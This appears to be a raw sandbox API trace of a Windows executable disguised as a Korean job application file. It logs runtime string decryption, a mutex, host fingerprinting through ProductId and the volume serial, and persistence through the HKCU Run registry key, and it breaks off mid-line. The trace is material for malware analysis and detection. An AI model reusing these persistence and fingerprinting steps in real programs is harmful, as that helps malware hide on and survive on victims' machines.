RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xa0) returned 0x48bd450 [0049.317] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee88, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48bb370) returned 1 [0049.326] CryptDecrypt (in: hKey=0x48bb370, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bd450, pdwDataLen=0x48bb280 | out: pbData=0x48bd450, pdwDataLen=0x48bb280) returned 1 [0049.332] CryptDestroyKey (hKey=0x48bb370) returned 1 [0049.333] GetSystemWindowsDirectoryW (in: lpBuffer=0x408818, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0049.333] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x408a20, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe")) returned 0x48 [0049.333] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x409a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0050.590] GetProcessHeap () returned 0x48a0000 [0050.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48bb3a0 [0050.590] GetProcessHeap () returned 0x48a0000 [0050.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48bdc48 [0050.591] GetProcessHeap () returned 0x48a0000 [0050.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bde58 [0050.591] GetProcessHeap () returned 0x48a0000 [0050.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb828 [0050.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be240) returned 1 [0050.591] CryptDecrypt (in: hKey=0x48be240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb828, pdwDataLen=0x18eef8 | out: pbData=0x48bb828, pdwDataLen=0x18eef8) returned 1 [0050.591] CryptDestroyKey (hKey=0x48be240) returned 1 [0050.591] GetProcessHeap () returned 0x48a0000 [0050.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb850 [0050.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be240) returned 1 [0050.591] CryptDecrypt (in: hKey=0x48be240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb850, pdwDataLen=0x18eef8 | out: pbData=0x48bb850, pdwDataLen=0x18eef8) returned 1 [0050.591] CryptDestroyKey (hKey=0x48be240) returned 1 [0050.592] GetProcessHeap () returned 0x48a0000 [0050.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbcd0 [0050.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be240) returned 1 [0050.592] CryptDecrypt (in: hKey=0x48be240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbcd0, pdwDataLen=0x18eef8 | out: pbData=0x48bbcd0, pdwDataLen=0x18eef8) returned 1 [0050.592] CryptDestroyKey (hKey=0x48be240) returned 1 [0050.592] GetProcessHeap () returned 0x48a0000 [0050.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x80) returned 0x48be240 [0050.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be2c8) returned 1 [0050.592] CryptDecrypt (in: hKey=0x48be2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be240, pdwDataLen=0x18eefc | out: pbData=0x48be240, pdwDataLen=0x18eefc) returned 1 [0050.592] CryptDestroyKey (hKey=0x48be2c8) returned 1 [0050.592] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x14) returned 0x48bdc58 [0050.593] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xd) returned 0x48bde70 [0050.593] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1f) returned 0x48bb878 [0050.593] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1e) returned 0x48bb8a0 [0050.593] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xd) returned 0x48bde88 [0050.593] GetProcessHeap () returned 0x48a0000 [0050.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x18) returned 0x48be2c8 [0050.595] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0050.595] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0050.595] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0050.595] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0050.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0050.595] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48be240 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bde70 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb878 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb8a0 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bde88 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48be2c8 | out: hHeap=0x48a0000) returned 1 [0050.596] GetProcessHeap () returned 0x48a0000 [0050.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdc58 | out: hHeap=0x48a0000) returned 1 [0050.596] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18eee8, cchData=32 | out: lpLCData="\x03") returned 16 [0050.598] GetProcessHeap () returned 0x48a0000 [0050.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48bdc58 [0050.599] GetProcessHeap () returned 0x48a0000 [0050.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xa0) returned 0x48be240 [0050.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be2e8) returned 1 [0050.599] CryptDecrypt (in: hKey=0x48be2e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be240, pdwDataLen=0x18eed4 | out: pbData=0x48be240, pdwDataLen=0x18eed4) returned 1 [0050.599] CryptDestroyKey (hKey=0x48be2e8) returned 1 [0050.599] GetProcessHeap () returned 0x48a0000 [0050.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48bdc68 [0050.599] GetProcessHeap () returned 0x48a0000 [0050.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x12) returned 0x48be2e8 [0050.599] GetProcessHeap () returned 0x48a0000 [0050.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48bdc78 [0050.599] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1a) returned 0x48bb8a0 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be308 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xc) returned 0x48bde88 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be318 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1a) returned 0x48bb878 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be328 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xe) returned 0x48bde70 [0050.600] GetProcessHeap () returned 0x48a0000 [0050.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be338 [0050.601] GetProcessHeap () returned 0x48a0000 [0050.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x26) returned 0x48be348 [0050.601] GetProcessHeap () returned 0x48a0000 [0050.601] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48be240 | out: hHeap=0x48a0000) returned 1 [0050.601] GetProcessHeap () returned 0x48a0000 [0050.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be240 [0050.601] GetProcessHeap () returned 0x48a0000 [0050.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb8c8 [0050.601] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be250) returned 1 [0050.601] CryptDecrypt (in: hKey=0x48be250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb8c8, pdwDataLen=0x18eed4 | out: pbData=0x48bb8c8, pdwDataLen=0x18eed4) returned 1 [0050.601] CryptDestroyKey (hKey=0x48be250) returned 1 [0050.601] GetProcessHeap () returned 0x48a0000 [0050.602] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb8c8 | out: hHeap=0x48a0000) returned 1 [0050.602] GetProcessHeap () returned 0x48a0000 [0050.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be630 [0050.602] GetProcessHeap () returned 0x48a0000 [0050.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb8c8 [0050.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be250) returned 1 [0050.602] CryptDecrypt (in: hKey=0x48be250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb8c8, pdwDataLen=0x18eed4 | out: pbData=0x48bb8c8, pdwDataLen=0x18eed4) returned 1 [0050.602] CryptDestroyKey (hKey=0x48be250) returned 1 [0050.602] GetProcessHeap () returned 0x48a0000 [0050.602] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb8c8 | out: hHeap=0x48a0000) returned 1 [0050.602] GetProcessHeap () returned 0x48a0000 [0050.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be640 [0050.603] GetProcessHeap () returned 0x48a0000 [0050.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb8c8 [0050.603] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be250) returned 1 [0050.603] CryptDecrypt (in: hKey=0x48be250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb8c8, pdwDataLen=0x18eed4 | out: pbData=0x48bb8c8, pdwDataLen=0x18eed4) returned 1 [0050.603] CryptDestroyKey (hKey=0x48be250) returned 1 [0050.603] GetProcessHeap () returned 0x48a0000 [0050.603] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb8c8 | out: hHeap=0x48a0000) returned 1 [0050.606] GetProcessHeap () returned 0x48a0000 [0050.606] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be650 [0050.606] GetProcessHeap () returned 0x48a0000 [0050.606] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbd18 [0050.606] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be250) returned 1 [0050.606] CryptDecrypt (in: hKey=0x48be250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbd18, pdwDataLen=0x18eed4 | out: pbData=0x48bbd18, pdwDataLen=0x18eed4) returned 1 [0050.606] CryptDestroyKey (hKey=0x48be250) returned 1 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be660 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xc) returned 0x48bdea0 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be670 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xe) returned 0x48bdeb8 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be680 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be690 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbd18 | out: hHeap=0x48a0000) returned 1 [0050.607] GetProcessHeap () returned 0x48a0000 [0050.608] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x24) returned 0x48be250 [0050.608] GetShellWindow () returned 0x100f2 [0050.609] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x40a25c | out: lpdwProcessId=0x40a25c) returned 0x458 [0050.610] GetProcessHeap () returned 0x48a0000 [0050.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb8f0 [0050.610] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be280) returned 1 [0050.610] CryptDecrypt (in: hKey=0x48be280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb8f0, pdwDataLen=0x18eed4 | out: pbData=0x48bb8f0, pdwDataLen=0x18eed4) returned 1 [0050.610] CryptDestroyKey (hKey=0x48be280) returned 1 [0050.611] GetProcessHeap () returned 0x48a0000 [0050.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb918 [0050.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be280) returned 1 [0050.611] CryptDecrypt (in: hKey=0x48be280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb918, pdwDataLen=0x18eed4 | out: pbData=0x48bb918, pdwDataLen=0x18eed4) returned 1 [0050.611] CryptDestroyKey (hKey=0x48be280) returned 1 [0050.611] GetProcessHeap () returned 0x48a0000 [0050.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbd18 [0050.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be280) returned 1 [0050.611] CryptDecrypt (in: hKey=0x48be280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbd18, pdwDataLen=0x18eed4 | out: pbData=0x48bbd18, pdwDataLen=0x18eed4) returned 1 [0050.612] CryptDestroyKey (hKey=0x48be280) returned 1 [0050.612] GetProcessHeap () returned 0x48a0000 [0050.612] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb940 [0050.612] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be280) returned 1 [0050.612] CryptDecrypt (in: hKey=0x48be280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb940, pdwDataLen=0x18ecac | out: pbData=0x48bb940, pdwDataLen=0x18ecac) returned 1 [0050.612] CryptDestroyKey (hKey=0x48be280) returned 1 [0050.612] GetProcessHeap () returned 0x48a0000 [0050.612] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x60) returned 0x48be280 [0050.612] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be378) returned 1 [0050.612] CryptDecrypt (in: hKey=0x48be378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be280, pdwDataLen=0x18ecac | out: pbData=0x48be280, pdwDataLen=0x18ecac) returned 1 [0050.613] CryptDestroyKey (hKey=0x48be378) returned 1 [0050.613] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecb0, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0050.613] GetProcessHeap () returned 0x48a0000 [0050.613] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb940 | out: hHeap=0x48a0000) returned 1 [0050.613] GetProcessHeap () returned 0x48a0000 [0050.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb940 [0050.613] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be378) returned 1 [0050.613] CryptDecrypt (in: hKey=0x48be378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb940, pdwDataLen=0x18ecac | out: pbData=0x48bb940, pdwDataLen=0x18ecac) returned 1 [0050.613] CryptDestroyKey (hKey=0x48be378) returned 1 [0050.613] GetProcessHeap () returned 0x48a0000 [0050.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x60) returned 0x48be378 [0050.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be3e0) returned 1 [0050.614] CryptDecrypt (in: hKey=0x48be3e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be378, pdwDataLen=0x18ecac | out: pbData=0x48be378, pdwDataLen=0x18ecac) returned 1 [0050.614] CryptDestroyKey (hKey=0x48be3e0) returned 1 [0050.614] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecb0, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0050.614] GetProcessHeap () returned 0x48a0000 [0050.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb940 | out: hHeap=0x48a0000) returned 1 [0050.614] GetProcessHeap () returned 0x48a0000 [0050.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1e) returned 0x48bb940 [0050.614] GetProcessHeap () returned 0x48a0000 [0050.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x12) returned 0x48be3e0 [0050.614] GetProcessHeap () returned 0x48a0000 [0050.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb968 [0050.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee78, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be400) returned 1 [0050.615] CryptDecrypt (in: hKey=0x48be400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb968, pdwDataLen=0x18eed8 | out: pbData=0x48bb968, pdwDataLen=0x18eed8) returned 1 [0050.615] CryptDestroyKey (hKey=0x48be400) returned 1 [0050.615] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="m23071644") returned 0xbc [0050.615] GetLastError () returned 0x0 [0050.615] GetProcessHeap () returned 0x48a0000 [0050.615] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb968 | out: hHeap=0x48a0000) returned 1 [0050.615] GetProcessHeap () returned 0x48a0000 [0050.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x60) returned 0x48be400 [0050.616] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18e650, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be468) returned 1 [0050.616] CryptDecrypt (in: hKey=0x48be468, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be400, pdwDataLen=0x18e6ac | out: pbData=0x48be400, pdwDataLen=0x18e6ac) returned 1 [0050.616] CryptDestroyKey (hKey=0x48be468) returned 1 [0050.616] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18e69c | out: phkResult=0x18e69c*=0xb8) returned 0x0 [0050.616] RegSetValueExW (in: hKey=0xb8, lpValueName="1", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\"", cbData=0x96 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\"") returned 0x0 [0050.624] RegCloseKey (hKey=0xb8) returned 0x0 [0050.624] GetProcessHeap () returned 0x48a0000 [0050.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48be400 | out: hHeap=0x48a0000) returned 1 [0050.624] GetProcessHeap () returned 0x48a0000 [0050.624] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbd60 [0050.625] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ea30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be400) returned 1 [0050.625] CryptDecrypt (in: hKey=0x48be400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbd60, pdwDataLen=0x18eaa0 | out: pbData=0x48bbd60, pdwDataLen=0x18eaa0) returned 1 [0050.625] CryptDestroyKey (hKey=0x48be400) returned 1 [0050.625] GetProcessHeap () returned 0x48a0000 [0050.625] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb968 [0050.625] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ea30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be400) returned 1 [0050.625] CryptDecrypt (in: hKey=0x48be400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb968, pdwDataLen=0x18eaa0 | out: pbData=0x48bb968, pdwDataLen=0x18eaa0) returned 1 [0050.625] CryptDestroyKey (hKey=0x48be400) returned 1 [0050.625] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ea9c | out: phkResult=0x18ea9c*=0xb8) returned 0x0 [0050.626] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18eaa8, lpcbData=0x18eaa4*=0x400 | out: lpType=0x0, lpData=0x18eaa8*=0x30, lpcbData=0x18eaa4*=0x18) returned 0x0 [0050.626] RegCloseKey (hKey=0xb8) returned 0x0 [0050.627] GetProcessHeap () returned 0x48a0000 [0050.627] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbd60 | out: hHeap=0x48a0000) returned 1 [0050.627] GetProcessHeap () returned 0x48a0000 [0050.627] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb968 | out: hHeap=0x48a0000) returned 1 [0050.627] GetProcessHeap () returned 0x48a0000 [0050.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bb968 [0050.627] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18e810, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be400) returned 1 [0050.627] CryptDecrypt (in: hKey=0x48be400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bb968, pdwDataLen=0x18e874 | out: pbData=0x48bb968, pdwDataLen=0x18e874) returned 1 [0050.627] CryptDestroyKey (hKey=0x48be400) returned 1 [0050.627] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18e878, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0050.627] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18e870, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18e870*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.629] GetProcessHeap () returned 0x48a0000 [0050.629] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bb968 | out: hHeap=0x48a0000) returned 1 [0050.629] wsprintfA (in: param_1=0x18eabf, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0050.630] GetProcessHeap () returned 0x48a0000 [0050.630] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be6a0 [0050.630] GetProcessHeap () returned 0x48a0000 [0050.630] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbd60 [0050.630] GetProcessHeap () returned 0x48a0000 [0050.630] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x80) returned 0x48be400 [0050.630] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee38, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be488) returned 1 [0050.630] CryptDecrypt (in: hKey=0x48be488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be400, pdwDataLen=0x18eea4 | out: pbData=0x48be400, pdwDataLen=0x18eea4) returned 1 [0050.630] CryptDestroyKey (hKey=0x48be488) returned 1 [0050.631] GetProcessHeap () returned 0x48a0000 [0050.631] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x80) returned 0x48be488 [0050.631] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee38, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48be510) returned 1 [0050.631] CryptDecrypt (in: hKey=0x48be510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48be488, pdwDataLen=0x18eea4 | out: pbData=0x48be488, pdwDataLen=0x18eea4) returned 1 [0050.631] CryptDestroyKey (hKey=0x48be510) returned 1 [0050.631] GetExitCodeProcess (in: hProcess=0x0, lpExitCode=0x18eecc | out: lpExitCode=0x18eecc*=0x48bb968) returned 0 [0050.632] Wow64DisableWow64FsRedirection (in: OldValue=0x18eed4 | out: OldValue=0x18eed4*=0x0) returned 1 [0050.632] GetCurrentProcessId () returned 0xa4c [0050.632] 